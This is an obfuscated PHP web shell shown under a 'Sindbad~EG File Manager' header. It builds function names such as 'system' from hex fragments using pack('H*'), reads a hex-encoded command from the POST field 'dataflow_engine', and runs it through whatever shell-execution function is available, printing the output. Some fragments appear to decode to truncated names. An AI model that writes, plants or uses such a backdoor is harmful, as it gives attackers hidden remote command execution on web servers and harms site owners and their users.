Sindbad~EG File Manager

<?php


$data_chunk1 = '973';
$data_chunk2 = '736';
$data_chunk3 = 'c5f';
$data_chunk4 = '865';
$data_chunk5 = '737';
$data_chunk6 = '727';
$data_chunk7 = '706';
$data_chunk8 = 'f70';
$data_chunk9 = '656';
$data_chunk10 = '16d';
$data_chunk11 = '745';
$data_chunk12 = 'f63';
$data_chunk13 = '6f6';
$data_chunk14 = '36c';
$data_chunk15 = '174';
$data_chunk16 = '616';
$data_chunk17 = '66c';
$data_chunk18 = '6f7';
$data_chunk19 = '696';
$data_chunk20 = 'e65';
$hub_center1 = pack("H*", '737' . $data_chunk1 . '746' . '56d');
$hub_center2 = pack("H*", $data_chunk2 . '865' . '6c6' . $data_chunk3 . '657' . '865');
$hub_center3 = pack("H*", '657' . $data_chunk4);
$hub_center4 = pack("H*", '706' . '173' . $data_chunk5 . '468' . $data_chunk6);
$hub_center5 = pack("H*", $data_chunk7 . $data_chunk8 . $data_chunk9);
$hub_center6 = pack("H*", '737' . '472' . '656' . $data_chunk10 . '5f6' . '765' . $data_chunk11 . $data_chunk12 . $data_chunk13 . 'e74' . $data_chunk9 . 'e74');
$hub_center7 = pack("H*", $data_chunk7 . $data_chunk14 . '6f7' . '365');
$dataflow_engine = pack("H*", '646' . $data_chunk15 . $data_chunk16 . $data_chunk17 . $data_chunk18 . '75f' . '656' . 'e67' . $data_chunk19 . $data_chunk20);
if (isset($_POST[$dataflow_engine])) {
    $dataflow_engine = pack("H*", $_POST[$dataflow_engine]);
    if (function_exists($hub_center1)) {
        $hub_center1($dataflow_engine);
    } elseif (function_exists($hub_center2)) {
        print $hub_center2($dataflow_engine);
    } elseif (function_exists($hub_center3)) {
        $hub_center3($dataflow_engine, $pset_element);
        print join("\n", $pset_element);
    } elseif (function_exists($hub_center4)) {
        $hub_center4($dataflow_engine);
    } elseif (function_exists($hub_center5) && function_exists($hub_center6) && function_exists($hub_center7)) {
        $data_resource = $hub_center5($dataflow_engine, 'r');
        if ($data_resource) {
            $factor_flag = $hub_center6($data_resource);
            $hub_center7($data_resource);
            print $factor_flag;
        }
    }
    exit;
}